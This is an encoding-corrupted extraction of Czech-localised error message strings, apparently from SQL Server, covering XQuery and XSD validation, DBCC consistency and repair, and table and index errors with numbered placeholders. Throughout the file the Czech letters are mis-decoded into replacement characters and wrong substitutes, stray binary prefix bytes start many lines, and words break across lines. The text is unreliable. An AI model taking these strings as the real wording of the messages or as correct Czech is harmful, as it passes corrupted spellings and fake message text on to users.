D%1!s!Povolen�mi predik�ty jsou pouze v�razy http://www.w3.org/2001/XMLSchema#decimal?, http://www.w3.org/2001/XMLSchema#boolean? nebo uzel()*. Nalezeno %2!s!

 %1!s!V podm�nk�ch a logick�ch oper�torech jsou povoleny pouze v�razy http://www.w3.org/2001/XMLSchema#boolean? nebo uzel()*. Nalezeno %2!s!

LByl o
ek�v�n objekt %1!s! %2!s!.

T%1!s!PYedponu oboru n�zvo XML lze pYidru~it pouze k identifik�toru URI http://www.w3.org/XML/1998/namespace a tento identifik�tor URI nelze pou~�t pro jin� pYedpony.

�%1!s!Lze vlo~it pouze uzly, kter� nejsou uzly dokumentu. Nalezeno %2!s!.

�%1!s!Identifik�tor URI za
�naj�c� %2!s! je pY�lia dlouh�. Maxim�ln� povolen� d�lka je %3!s! znako.

T%1!s!Chyba syntaxe v bl�zkosti %2!s!

�%1!s!Heterogenn� sekvence nejsou povoleny: nalezeno %2!s! a %3!s!

�%1!s!Je vy~adov�n typ singleton (nebo pr�zdn� sekvence), byl nalezen operand typu %2!s!

�%1!s!Byl nalezen neplatn� znak zdroje %2!s! (0x%3!s!) v identifik�toru v bl�zkosti %4!s!.

�%1!s!Data() nelze atomizovat 
i pou~�t ve v�razu obsahuj�c�m typ %2!s! v odvozen�m typu %3!s!.

T%1!s!Typ %2!s! nen� atomick�m typem.

�%1!s!Hodnota atributu %2!s! pYesahuje 4000 znako, co~ je maximum povolen� v dokumentech sch�mat XML.

P%1!s!Neplatn� hodnota XPath v %2!s!

TO
ek�v�n objekt %1!s! %2!s! 
i %3!s!

\%1!s!Atribut s n�zvem @%2!s! neexistuje.

t%1!s!Atribut s n�zvem @%2!s! v typu %3!s! neexistuje.

d%1!s!Atribut s n�zvem @%2!s!:%3!s!neexistuje.

�%1!s!Atribut s n�zvem @%2!s!:%3!s! v typu %4!s! neexistuje.

�%1!s!Byl nalezen neplatn� znak zdroje 0x%2!s! v identifik�toru v bl�zkosti %3!s!.

�%1!s!Chyba syntaxe v bl�zkosti %2!s!. Byl o
ek�v�n identifik�tor.

T%1!s!Byl o
ek�v�n Yetzcov� liter�l.

�%1!s!C�lem pY�kazu insert mus� b�t jeden uzel. Nalezeno %2!s!

�%1!s!Promnn� %2!s! nebyla nalezena v oboru, ve kter�m na ni bylo odkazov�no.

�%1!s!Promnn� %2!s!:%3!s! nebyla nalezena v oboru, ve kter�m na ni bylo odkazov�no.

X%1!s!N�zev %2!s! neozna
uje obor n�zvo.

P%1!s!N�zev %2!s! ji~ byl definov�n.

`%1!s!N�zev %2!s! neozna
uje definovan� typ.

l%1!s!N�zev %2!s!:%3!s! neozna
uje definovan� typ.

P%1!s!Operand %2!s! m� neplatn� typ.

�%1!s!Oper�tor %2!s! nelze pou~�t pro operandy %3!s! a %4!s!.

�%1!s!Seznam argumento byl pou~it pro term�n, kter� nen� funkc�.

�%1!s!Vol�n� funkce %2!s! neobsahuje dostatek skute
n�ch argumento.

�%1!s!Odvozen� roza�Yen�m z typu anyType nen� v tomto vyd�n� podporov�no.

|%1!s!Vol�n� funkce %2!s! obsahuje pY�lia mnoho argumento.

�%1!s!C�lem insert into mus� b�t uzel elementu 
i dokumentu. Nalezeno %2!s!

P%1!s!Byla o
ek�v�na promnn�: $name

T%1!s!Byla o
ek�v�na specifikace typu.

p%1!s!V�raz relativn� cesty byl pou~it bez kontextu.

�%1!s!Hodnota m� typ %2!s!, kter� nen� podtypem o
ek�van�ho typu %3!s!.

�%1!s!Chyba syntaxe v bl�zkosti %2!s!. O
ek�v�na syntaxe as, into, before nebo after.

�%1!s!C�lem insert before/after mus� b�t uzel elementu, PI, koment�Ye nebo textu. Nalezeno %2!s!

�%1!s!Chyba syntaxe v bl�zkosti %2!s!. Byla o
ek�v�na syntaxe node test.

�%1!s!Pozice pravdpodobn nebyla zad�na pYi vkl�d�n� uzlu atributu. Nalezeno %2!s!

X%1!s!Element s n�zvem %2!s! neexistuje.

t%1!s!Element s n�zvem %2!s! v typu %3!s! neexistuje.

d%1!s!Element s n�zvem %2!s!:%3!s! neexistuje.

�%1!s!Element s n�zvem %2!s!:%3!s! v typu %4!s! neexistuje.

�%1!s!Lze odstranit pouze uzly, kter� nejsou uzly dokumentu. Nalezeno %2!s!

h%1!s!Byla o
ek�v�na koncov� zna
ka %2!s!:%3!s!

\%1!s!Byla o
ek�v�na koncov� zna
ka %2!s!.

�%1!s!Pro koncovou zna
ku /%2!s!:%3!s! neexistuje odpov�daj�c� po
�te
n� zna
ka.

�%1!s!Pro koncovou zna
ku /%2!s! neexistuje odpov�daj�c� po
�te
n� zna
ka.

P%1!s!Duplicitn� atribut %2!s!:%3!s!

D%1!s!Duplicitn� atribut %2!s!

,%1!s!o
ek�v�no ?>

@%1!s!Neukon
en� sekce CDATA

�%1!s!Neukon
en� Yetzcov� konstanta (za
ala v Y�dku %2!s!)

D%1!s!Neukon
en� deklarace XML

�%1!s!Odvozen� omezen�m z typu QName nen� v tomto vyd�n� podporov�no.

h%1!s!N�zev zna
ky nemo~e obsahovat znak %2!s!.

h%1!s!N�zev zna
ky nemo~e za
�nat znakem %2!s!.

l%1!s!N�zev 
i token nemohou za
�nat znakem %2!s!.

\%1!s!<! nen�sledovala platn� konstrukce.

t%1!s!Specifikace DTD nelze vytvoYit v jazyce XQuery.

D%1!s!Neplatn� odkaz na entitu

p%1!s!Znak %2!s! nemo~e b�t 
�st� odkazu na entitu.

p%1!s!PYedpona oboru n�zvo %2!s! nebyla definov�na.

X%1!s!Neplatn� odkaz na 
�selnou entitu

`%1!s!Nebyl nalezen ~�dn� koYenov� element.

%1!s!Omezuje-li typ s jednoduch�m obsahem typ se sm�aen�m obsahem, mus� obsahovat vlo~enou definici jednoduch�ho typu. Um�stn�: %2!s!.

�%1!s!Volbu lze ponechat pr�zdnou, pouze pokud m� hodnota minOccurs hodnotu 0. Um�stn�: %2!s!.

�%1!s!Typ XML nen� povolen jako c�l instrukc� pro zpracov�n�.

p%1!s!Element <%2!s!> nen� v um�stn� %3!s! platn�.

l%1!s!Atribut %2!s! nen� v um�stn� %3!s! platn�.

�%1!s!Po~adovan� atribut %2!s! elementu XSD %3!s! nebyl nalezen.

�%1!s!Po~adovan� subelement %2!s! elementu XSD %3!s! nebyl nalezen.

T%1!s!Element %2!s! ji~ byl definov�n.

l%1!s!N�zev %2!s! ji~ byl v dan�m oboru definov�n.

�%1!s!Typ elementu 
i atributu byl zad�n v�ce ne~ jednou. Um�stn�: %2!s!.

�%1!s!Kvalifikovan� n�zev %2!s! byl nalezen v kontextu, ve kter�m je povolen pouze typ NCName.

X%1!s!Odkaz na nedefinovan� n�zev %2!s!

�%1!s!Odkaz na nedefinovan� n�zev %2!s! v oboru n�zvo %3!s!

T%1!s!Hodnota %2!s! nen� platn� 
�slo.

l%1!s!Atribut %2!s! je deklarov�n v�ce ne~ jednou.

|%1!s!Atribut %2!s! je v %3!s! deklarov�n v�ce ne~ jednou.

�%1!s!Hodnota atributu %2!s! nesplHuje definici typu http://www.w3.org/2001/XMLSchema#%3!s!: %4!s!.

d%1!s!Atribut %2!s! nemo~e m�t hodnotu %3!s!.

h%1!s!Atribut %2!s! nemo~e m�t z�pornou hodnotu.

l%1!s!Atribut %2!s! by ml m�t Yetzcovou hodnotu.

�%1!s!Po~adovan� z�kladn� atribut nebyl nalezen. Um�stn�: %2!s!.

�%1!s!Z�kladn� typ %2!s! definovan� pro element XSD %3!s! nem� jednoduch� typ.

�%1!s!Tento typ nemo~e m�t omezuj�c� vlastnost %2!s!. Um�stn�: %3!s!.

�%1!s!V um�stn� %3!s! byla nalezena duplicitn� omezuj�c� vlastnost %2!s!.

�%1!s!Podm�nky nemohou odpov�dat deklarac�m atributo. V um�stn� %3!s! byla nalezena omezuj�c� vlastnost %2!s!.

�%1!s!Typ elementu nen� podtY�dou hlavn�ho elementu substitu
n� skupiny.

�%1!s!Koncov� zna
ka %2!s! neodpov�d� po
�te
n� zna
ce %3!s! na Y�dku %4!s!.

�%1!s!Koncov� zna
ka %2!s!:%3!s! neodpov�d� po
�te
n� zna
ce %4!s! na Y�dku %5!s!.

�%1!s!Koncov� zna
ka %2!s! neodpov�d� po
�te
n� zna
ce %3!s!:%4!s! na Y�dku %5!s!.

�%1!s!Koncov� zna
ka %2!s!:%3!s! neodpov�d� po
�te
n� zna
ce %4!s!:%5!s! na Y�dku %6!s!.

h%1!s!Obsah 
i definice <%2!s!> nebyly nalezeny.

�%1!s!Obor n�zvo sch�matu %2!s! neodpov�d� <include> %3!s! direktivy.

t%1!s!Xetzec %2!s! nen� platnou hodnotou doby trv�n�.

�%1!s!Optovn� definice mus� m�t jako z�kladn� typ sebe samu. Um�stn�: %2!s!.

pObjekt %1!s! %2!s! nelze pou~�t s operandem empty.

L%1!s!Neplatn� znak zdroje 0x%2!s!

\%1!s!Neplatn� znak zdroje %2!s! (0x%3!s!)

d%1!s!Nov� Y�dek v konstant znaku 
i Yetzce

�%1!s! %2!s! nen� platnou osmi
kovou 
�slic� (
�sla za
�naj�c� 
�slic� 0 jsou implicitn osmi
kov�).

�%1!s!C�lem pY�kazu replace mus� b�t maxim�ln jeden uzel. Nalezeno %2!s!

�%1!s!Druh� operand pY�kazu replace mus� obsahovat pouze uzly. Nalezeno %2!s!

�%1!s!Mus� b�t uveden atribut memberType nebo podY�zen� simpleType. Um�stn�: %2!s!.

t%1!s!Koment�Y s po
�tkem na Y�dku %2!s! nen� ukon
en.

x%1!s!Po \\x byl o
ek�v�n k�d v aestn�ctkov�ch znac�ch.

H%1!s!Neplatn� 
�seln� konstanta

d%1!s!Neukon
en� textov� sekce   sch�z� znak `

�%1!s! Identifik�tor URI oboru n�zvo by ml obsahovat alespoH jeden nepr�zdn� znak.

�%1!s!Pokuste se znovu definovat pYedponu oboru n�zvo %2!s!.

L%1!s!Neplatn� obsah elementu XML

d%1!s!Byly o
ek�v�ny hodnoty first nebo last.

p%1!s!Byly o
ek�v�ny hodnoty to, insert nebo delete.

P%1!s!Neplatn� k�dov�n� znaku zdroje

L%1!s!Byla o
ek�v�na hodnota else.

%1!s!C�lem pY�kazu replace value of mus� b�t atribut neobsahuj�c� metadata nebo element s obsahem jednoduch�ho typu. Nalezeno %2!s!

�%1!s!Uzel dokumentu lze nahradit pouze jin�m uzlem dokumentu. Nalezeno %2!s!

�%1!s!Odvozen� se z�kladn�m atributem ani definice vlo~en�ho typu nejsou v tomto vyd�n� povoleny. Um�stn�: %2!s!.

`%1!s!C�lem %2!s! nemo~e b�t vytvoYen� uzel.

�%1!s!Nemo~e z�roveH obsahovat atributy name a ref. Um�stn�: %2!s!.

�%1!s!Z�kladn� typ typu roza�Yen� 
i omezen� XSD mus� b�t jednoduch� typ.

P%1!s!Sch�ma XSD je pY�lia slo~it�.

T%1!s!V�raz XQuery je pY�lia slo~it�.

d%1!s!Nelze implicitn pYev�st %2!s! na %3!s!.

d%1!s!Nelze explicitn pYev�st %2!s! na %3!s!.

hObjekt %1!s! %2!s! obsahuje cyklickou definici.

�%1!s!Typ polo~ky typu seznamu XSD mus� b�t jednoduch� typ. Um�stn�: %2!s!.

�%1!s!Slo~it� typ s jednoduch�m obsahem nemo~e obsahovat obsah elementu. Um�stn�: %2!s!.

�%1!s!Jedno omezen� 
i roza�Yen� nemo~e obsahovat v�ce ne~ jednu skupinu group/sequence/choice/all. Um�stn�: %2!s!.

�%1!s!Na konci v�razu XQuery nebyly o
ek�v�ny ~�dn� dala� tokeny. Nalezeno %2!s!.

�Objekt %1!s! %2!s! lze pou~�t pouze uvnitY predik�tu 
i selektoru XPath.

|%1!s!Atribut metadat @%2!s!:%3!s! nelze pou~�t pro %4!s!.

xObjekt %1!s!%2!s! nen� podporov�n vytvoYen�m k�dem XML.

t%1!s!Je vy~adov�n uzel 
i sada uzlo pro objekt %2!s!

t%1!s!Agrega
n� funkce %2!s! o
ek�v� argument sekvence

t%1!s!Byl o
ek�v�n operand jedin�ho numerick�ho typu.

h%1!s!V�sledek v�razu %2!s! je staticky pr�zdn�.

\%1!s!Byl o
ek�v�n dokument sch�matu XML.

d%1!s!Zadan� n�zev nen� platn� n�zev XML:%2!s!

l%1!s!Sm�aen� obsah nen� v um�stn� %2!s! povolen.

%1!s!Neplatn� kombinace hodnot minOccurs a maxOccurs. Hodnota minOccurs mus� b�t ni~a� nebo rovna hodnot maxOccurs. Um�stn�: %2!s!.

�%1!s!Neplatn� hodnota %2!s! pro atribut %3!s!. Hodnota mus� b�t mezi 0 a %4!s!.

�%1!s!Neplatn� v�skyt elementu. Element %2!s! byl nkolikr�t nalezen v kontextu elementu %3!s!.

TByl zad�n neplatn� c�lov� obor n�zvo.

�%1!s!Hodnota omezuj�c� vlastnosti %2!s! je mimo povolen� rozsah.

|%1!s!Nemo~e z�roveH obsahovat atributy type a ref: %2!s!.

�%1!s!Neplatn� v�skyt elementu. Element %2!s! mus� b�t nejdY�ve uveden v kontextu elementu %3!s!.

�Objekt %1!s! %2!s! po~aduje typ singleton (nebo pr�zdnou sekvenci), byl nalezen operand typu %3!s!.

p%1!s!Uzly nejvyaa� �rovn %2!s! nejsou podporov�ny.

t%1!s!Optovn� definice sch�mat XSD nen� podporov�na.

D%1!s! %2!s!:: nen� platn� osa

�%1!s!Mus� b�t uveden bu atribut itemType, nebo podY�zen� atribut simpleType. Um�stn�: %2!s!.

H%1!s!Funkce %2!s!() neexistuje.

T%1!s!Funkce %2!s!:%3!s!() neexistuje.

X%1!s!Atribute nemo~e b�t vn elementu.

�%1!s!Identifik�tory nemohou obsahovat v�ce ne~ %2!s! znako.

h%1!s!Byla nalezena duplicitn� hodnota ID: %2!s!

�%1!s!Atribut nemo~e m�t hodnotu typu %2!s!. Byl o
ek�v�n jednoduch� typ.

�Nelze naj�t tabulku 
i objekt s n�zvem %1!s!. Zkontrolujte katalog syst�mu.

�V�pis seznamu pameov�ch objekto se nezdaYil kvoli do
asn� nekonzistenci ve struktuYe pameov�ch objekto. Opakujte akci.

�Fyzick� soubor %1!s! nelze odstranit. Syst�mov� funkce DeleteFile vr�tila chybu %2!s!.

�ZaY�zen� %1!s! neexistuje. Zobrazte dostupn� zaY�zen� pY�kazem sys.backup_devices.

�V datab�zi %2!s! nelze naj�t n�zev tabulky 
i objektu %1!s!.

�Chcete-li spustit pY�kaz DBCC CHECKCONSTRAINTS, mo~nost CONCAT_NULL_YIELDS_NULL mus� b�t nastavena na hodnotu ON.

4Po
et %1!s! pro objekt %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) je nespr�vn�. Spusete pY�kaz DBCC UPDATEUSAGE.

 PY�kaz DBCC CHECKCONSTRAINTS se nezdaYil z dovodu vnitYn� chyby dotazu. Zkontrolujte konzistenci dat spuatn�m pY�kazu DBCC CHECKDATABASE.

LChyba pY�kazu DBCC %1!s!: %2!s!.

XChyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Kl�
e mimo poYad� na str�nce %6!s!, pozic�ch %7!s! a %8!s!.

|Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Duplicitn� kl�
e na str�nce %6!s!, pozici %7!s! a str�nce %8!s!, pozici %9!s!.

�PY�kaz DBCC DBREINDEX nelze pou~�t pro pameov optimalizovan� tabulky.

XDoalo k chyb pY�kazu DBCC PAGE: %1!s!.

tStr�nka %1!s!, ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) byla upravena, ale nebyla ozna
ena jako upraven� v rastru rozd�lov� z�lohy.

dOprava zposobila neplatnost rozd�lov�ho rastru datab�ze %1!s!. Xetz rozd�lov�ch z�loh je poruaen�. PYed proveden�m rozd�lov� z�lohy je tYeba prov�st �plnou z�lohu datab�ze.

Pro datab�zi %1!s! byly zapnuty hromadn protokolovan� zmny. Zabezpe
en� dat zajist�te optovn�m spuatn�m operac� protokolu z�lohov�n�.

�Nelze nal�zt datab�zi %1!s!. Datab�ze neexistuje nebo byla odstranna dY�ve, ne~ se ji pY�kaz pokusil pou~�t. OvYte existenci datab�ze pomoc� dotazu pro zobrazen� katalogu sys.databases.

�ID datab�ze %1!s! nelze naj�t. ID datab�ze neexistuje nebo datab�ze byla odstranna dY�ve, ne~ se ji pY�kaz pokusil pou~�t. OvYte existenci ID datab�ze pomoc� dotazu pro zobrazen� katalogu sys.databases.

�Nelze zpracovat index %1!s! tabulky %2!s!, proto~e skupina souboro %3!s! je neplatn�.

PSkupina souboro %1!s! je neplatn�.

�Nelze zpracovat ID objektu %1!s! (objekt %2!s!), proto~e se jedn� o frontu slu~by Service Broker. Opakujte operaci s ID objektu pY�sluan� intern� tabulky fronty, kterou naleznete v zobrazen� sys.internal_tables.

LSoubor datab�ze %1!s! je offline.

�Nespr�vn� pY�kaz DBCC. Spr�vnou syntaxi a mo~nosti pY�kazu naleznete v dokumentaci.

�Nelze zpracovat index %1!s! tabulky %2!s!, proto~e skupina souboro %3!s! je offline.

LSkupina souboro %1!s! je offline.

\Index %1!s! pro tabulku %2!s! je zak�z�n.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Nesoulad na �rovni B-stromu, str�nka %6!s!. �roveH %7!s! neodpov�d� �rovni %8!s! z pYedchoz�ho objektu %9!s!.

�Jedna nebo v�ce zadan�ch mo~nost� WITH nejsou platn� pro tento pY�kaz.

�Chyba tabulky: Str�nka %1!s! pYidlen� k ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) nebyla zobrazena. Str�nka mo~e b�t neplatn� nebo mo~e m�t v hlavi
ce nespr�vn� ID aloka
n� jednotky.

�Chyba tabulky: Str�nka %1!s!, jej�~ hlavi
ka uv�d�, ~e je pYidlen� k ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!), je pYidlen� k jin�mu objektu.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!, Y�dek %7!s!. Kontrola z�znamu (%8!s!) se nezdaYila. Hodnoty jsou %9!s! a %10!s!.

�Nelze zpracovat ID objektu %1!s! (objekt %2!s!), proto~e se jedn� o synonymum. Pokud objekt, na kter� odkazuje synonymum, je tabulka nebo zobrazen�, opakujte operaci a pou~ijte z�kladn� objekt, na kter� synonymum odkazuje.

�Nelze znovu uspoY�dat index %1!s! (odd�l %2!s!) v tabulce %3!s!, proto~e jej pr�v uspoY�d�v� jin� proces.

Nelze znovu uspoY�dat indexy v tabulce %1!s!, proto~e v tabulce ji~ prob�h� online sestaven� indexu nebo optovn� sestaven� indexu.

�Nelze znovu uspoY�dat index %1!s! (odd�l %2!s!) v tabulce %3!s!, proto~e z�mek na �rovni str�nky je zak�z�n.

�Nelze znovu uspoY�dat index %1!s! (odd�l %2!s!) v tabulce %3!s!, proto~e skupina souboro je jen pro 
ten�.

�Nen� mo~n� pYesunout cel� obsah souboru %1!s! na jin� m�sta a dokon
it operaci vypr�zdnn� souboru.

�Ve skupin souboro nen� dostatek m�sta k dokon
en� operace vypr�zdnn� souboru.

�U~ivatel %1!s! nem� opr�vnn� ke spuatn� pY�kazu DBCC %2!s! pro objekt %3!s!.

xV datab�zi %2!s! byly zjiatny nespr�vn� po
ty (%1!s!).

|Mo~nosti %1!s! a%2!s! nejsou povoleny u stejn�ho pY�kazu.

pParametr %1!s! nen� pro tento pY�kaz DBCC spr�vn�.

dParametr %1!s! nen� pro tento pY�kaz spr�vn�.

|Kontrola skupiny souboro FILESTREAM %1!s! (ID %2!s!) nen� v pY�kazu DBCC CHECKFILEGROUP podporov�na. M�sto toho zadejte skupinu souboro obsahuj�c� u~ivatelsk� objekty s daty FILESTREAM.

�PY�kaz DBCC SHRINKFILE pro kontejnery FILESTREAM vy~aduje mo~nost EMPTYFILE a nepovoluje ~�dn� jin� mo~nosti.

�PY�kaz DBCC SHRINKFILE pro %1!s! byl pYeruaen. Kontejnery MEMORY_OPTIMIZED_DATA nejsou podporov�ny.

�PY�kaz DBCC DBREINDEX nelze pou~�t pro pameov optimalizovan� tabulky.

|PY�kaz DBCC DBREINDEX nelze pou~�t pro syst�mov� tabulky.

�PY�kaz DBCC INDEXDEFRAG nelze pou~�t pro indexy syst�mov�ch tabulek

�Str�nka %1!s! je mimo rozsah pro tuto datab�zi nebo je v souboru protokolu.

�Str�nka %1!s!, pozice %2!s! v ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!). Hodnota sloupce %8!s! je mimo rozsah pro datov� typ %9!s!. Aktualizujte sloupec na platnou hodnotu.

�U~ivatel %1!s! nem� opr�vnn� ke spuatn� pY�kazu DBCC %2!s!.

�PY�kaz DBCC nemo~e uvolnit knihovnu DLL %1!s!. Knihovna DLL je pou~�v�na.

�Nelze nal�zt tabulku nebo ID objektu %1!s!. Zkontrolujte katalog syst�mu.

lChyba tabulky: Str�nka %1!s! v ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) je pr�zdn�. To nen� povoleno na �rovni %7!s! B-stromu.

�Na str�nku IAM (Index Allocation Map) %1!s! ukazuje dala� ukazatel str�nky IAM %2!s! v ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!), pYi hled�n� ale nebyla rozpozn�na.

�Na str�nku IAM (Index Allocation Map) %1!s! ukazuje pYedchoz� ukazatel str�nky IAM %2!s! v ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!), pYi hled�n� ale nebyla rozpozn�na.

PoYadov� 
�sla Yetzu jsou mimo poYad� v Yetzu IAM (Index Allocation Map) pro ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nka %6!s! s poYadov�m 
�slem %7!s! ukazuje na str�nku %8!s! s poYadov�m 
�slem %9!s!.

8Chyba tabulky: Rozsah %1!s! v ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) je mimo rozsah t�to datab�ze.

�Tabulka %1!s! je bu syst�mov�, nebo do
asn�. PY�kaz DBCC CLEANTABLE nelze pou~�t pro syst�movou nebo do
asnou tabulku.

pV pY�kazu DBCC byl zad�n nespr�vn� po
et parametro.

t�slo odd�lu %1!s! pro tabulku %2!s! nebylo nalezeno.

��slo odd�lu %1!s! pro index %2!s!, tabulku %3!s! nebylo nalezeno.

\Bylo zad�no neplatn� 
�slo odd�lu %1!s!.

��slo odd�lu %1!s! pro ID indexu %2!s!, ID objektu %3!s! nebylo nalezeno.

tOprava nemohla vyYeait vaechny chyby na prvn� pokus.

�X�dek v katalogu syst�mu s ID indexu %1!s! pro tabulku %2!s! nebyl nalezen.

�PY�kaz k oprav nebyl zpracov�n. Datab�ze nemo~e b�t v re~imu jen pro 
ten�.

�Kontrola nemo~e pokra
ovat na ~�dn�m objektu patY�c�m k datab�zi %1!s!, proto~e pr�v prob�h� jej� obnovov�n�.

dNelze pYepnout na text Y�dku v tabulce %1!s!.

�Do objektu %1!s! s jedine
n�m indexem %2!s! nelze vlo~it duplicitn� kl�
ov� Y�dek.Hodnota duplicitn�ho kl�
e je%3!s!.

�Poruaen� omezen� %1!s! %2!s!. Nelze vlo~it duplicitn� kl�
 do objektu %3!s!.Hodnota duplicitn�ho kl�
e je%4!s!.

�Xetzec nebo bin�rn� data v tabulce %1!s!, sloupci %2!s! by byla zkr�cena. Zkr�cen� hodnota: %3!s!.

�V d�vce je pY�lia mnoho pY�kazo. Maxim�ln� po
et je %1!s!.

@Datab�ze %1!s! neexistuje.

�V seznamu sloupco odd�lu nelze pou~�vat duplicitn� n�zvy sloupco. N�zev sloupce %1!s! je uveden v�ce ne~ jednou.

TZad�no neplatn� sch�ma odd�lu %1!s!.

�N�zvy sloupco mus� b�t ve vaech tabulk�ch jedine
n�. N�zev sloupce %1!s! v tabulce %2!s! je zad�n v�ce ne~ jednou.

<Tabulka %1!s! neexistuje.

@Sloupec %1!s! v objektu %2!s! %3!s! nelze pou~�t v indexu, ve statistice ani jako kl�
 odd�lu, proto~e z�vis� na objektu, kter� nen� sv�zan� se sch�matem.

DSloupec %1!s! v objektu %2!s! %3!s! nelze pou~�t v indexu, ve statistice ani jako kl�
 odd�lu, proto~e prov�d� pY�stup k u~ivatelsk�m nebo syst�mov�m datom.

�Nejste vlastn�k zadan� pro objekt %1!s! v tomto pY�kazu (CREATE, ALTER, TRUNCATE, UPDATE STATISTICS nebo BULK INSERT).

�Definice objektu %1!s! v datab�zi prostYedko obsahuje jin� znaky ne~ ASCII %2!s!.

�Datab�zi %1!s! nelze nakonfigurovat jako distribu
n� datab�zi, proto~e m� povoleno sledov�n� zmn.

lV datab�zi se ji~ nach�z� objekt s n�zvem %1!s!.

�Sloupec, parametr nebo promnn� #%1!s!: Nelze naj�t datov� typ %2!s!.

�Sloupec, parametr nebo promnn� #%1!s!: Nelze zadat a�Yku sloupce u datov�ho typu %2!s!.

�Velikost (%1!s!) zadan� pro objekt %2!s! %3!s! pYekra
uje povolen� maximum (%4!s!).

XUpgrade datab�ze %1!s! se nezdaYil, proto~e obsahuje jm�no u~ivatele sys, kter� je v t�to verzi syst�mu SQL Server vyhrazen�m u~ivatelsk�m jm�nem nebo n�zvem sch�matu.

�Objekt %1!s! %2!s! nelze sv�zat se sch�matem, proto~e odkazuje na syst�mov� objekt %3!s!.

�Ve v�razech v tomto kontextu nejsou povoleny metody datov�ho typu XML.

dPro objekt %1!s! %2!s! nelze prov�st online operaci, proto~e index obsahuje sloupec %3!s! datov�ho typu text, ntext, image, nebo FILESTREAM. U neclusterovan�ho indexu by tento sloupec mohl b�t zahrnut�m sloupcem indexu. U clusterovan�ho indexu mo~e tento sloupec b�t jak�mkoli sloupcem z tabulky. PYi pou~it� mo~nosti DROP_EXISTING mo~e b�t sloupec sou
�st� nov�ho nebo star�ho indexu. Operaci je tYeba prov�st v re~imu offline.

0Funkce rozdlen� na odd�ly %1!s! pou~�v� %2!s! sloupco, co~ neodpov�d� po
tu dlic�ch sloupco pou~it�ch k rozdlen� tabulky nebo indexu na odd�ly.

@Index %1!s! nebyl nalezen.

tNelze rozdlit na odd�ly na v�ce ne~ %1!s! sloupc�ch.

Sloupec %1!s! v objektu %2!s! %3!s! nelze pou~�t v indexu, ve statistice ani jako kl�
 odd�lu, proto~e je nedeterministick�.

�Nelze vytvoYit proceduru %1!s! s 
�slem skupiny %2!s!, proto~e procedura se stejn�m n�zvem a 
�slem skupiny 1 nyn� v datab�zi neexistuje. NejdY�ve je tYeba spustit pY�kaz CREATE PROCEDURE %3!s!;1.

\Sloupec %1!s! m� neplatnou a�Yku: %2!s!.

��slo chyby %1!s! je neplatn�. �slo mus� b�t v rozmez� od %2!s! do %3!s!. Nemo~e b�t 50000.

lDatov� typ %1!s! je neplatn� pro vr�cen� hodnoty.

|Nelze vytvoYit prim�rn� index XML, selektivn� index XML nebo prostorov� index %1!s! pro objekt %2!s!, proto~e omezen� PRIMARY KEY obsahuje sloupec nebo sloupce s typem 
asov�ho raz�tka.

�Tabulka mo~e m�t pouze jeden sloupec 
asov�ho raz�tka. Proto~e tabulka %1!s! ji~ jeden m�, nelze pYidat sloupec %2!s!.

�Datov� typy text, ntext a image jsou pro m�stn� promnn� neplatn�.

�PY�kaz SET LANGUAGE se nezdaYil, proto~e %1!s! nen� ofici�ln�m n�zvem ani aliasem jazyka v tomto syst�mu SQL Server.

hPoYad� v datu SET DATEFORMAT %1!s! je neplatn�.

`PY�kaz SET DATEFIRST %1!s! je mimo rozsah.

XMo~nost %1!s! po~aduje parametr %2!s!.

�V tabulce %1!s! je zad�no v�ce sloupco identity. Je povolen pouze jeden sloupec identity na tabulku.

�V pY�kazu RAISERROR je pY�lia mnoho substitu
n�ch parametro. Nelze zadat v�c ne~ %1!s! substitu
n�ch parametro.

�Nelze zadat datov� typ %1!s! (parametr %2!s!) jako substitu
n� parametr.

�Pokud sloupec identity %1!s! nem� umo~Hovat hodnotu NULL, mus� m�t datov� typ int, bigint, smallint, tinyint, des�tkov� nebo 
�seln� s mY�tkem 0, nesm� b�t aifrovan� a mus� m�t omezen�, ~e nen� mo~n� hodnota NULL.

�Sloupec nebo parametr #%1!s!: Zadan� pYesnost sloupce %2!s! je vta� ne~ maxim�ln� pYesnost %3!s!.

�Sloupec nebo parametr #%1!s!: Zadan� mY�tko sloupce %2!s! je vta� ne~ zadan� pYesnost %3!s!.

xSloupec identity %1!s! obsahuje neplatnou hodnotu SEED.

�Sloupec identity %1!s! obsahuje neplatnou hodnotu INCREMENT.

��rovn z�va~nosti chyby vta� ne~ %1!s! mohou b�t zad�ny pouze 
leny role sysadmin pomoc� mo~nosti WITH LOG.

�Mo~nost SET DEADLOCK_PRIORITY je neplatn�. Platn� mo~nosti jsou {HIGH | NORMAL | LOW | [%1!s! ... %2!s!] typu integer}.

�Neplatn� hodnota stavu %1!s!. Hodnota stavu nesm� b�t mena� ne~ %2!s!.

�PY�kaz CREATE SCHEMA se nezdaYil z dovodu pYedchoz�ch chyb.

�Zadan� n�zev sch�matu %1!s! neexistuje nebo nem�te opr�vnn� jej pou~�t.

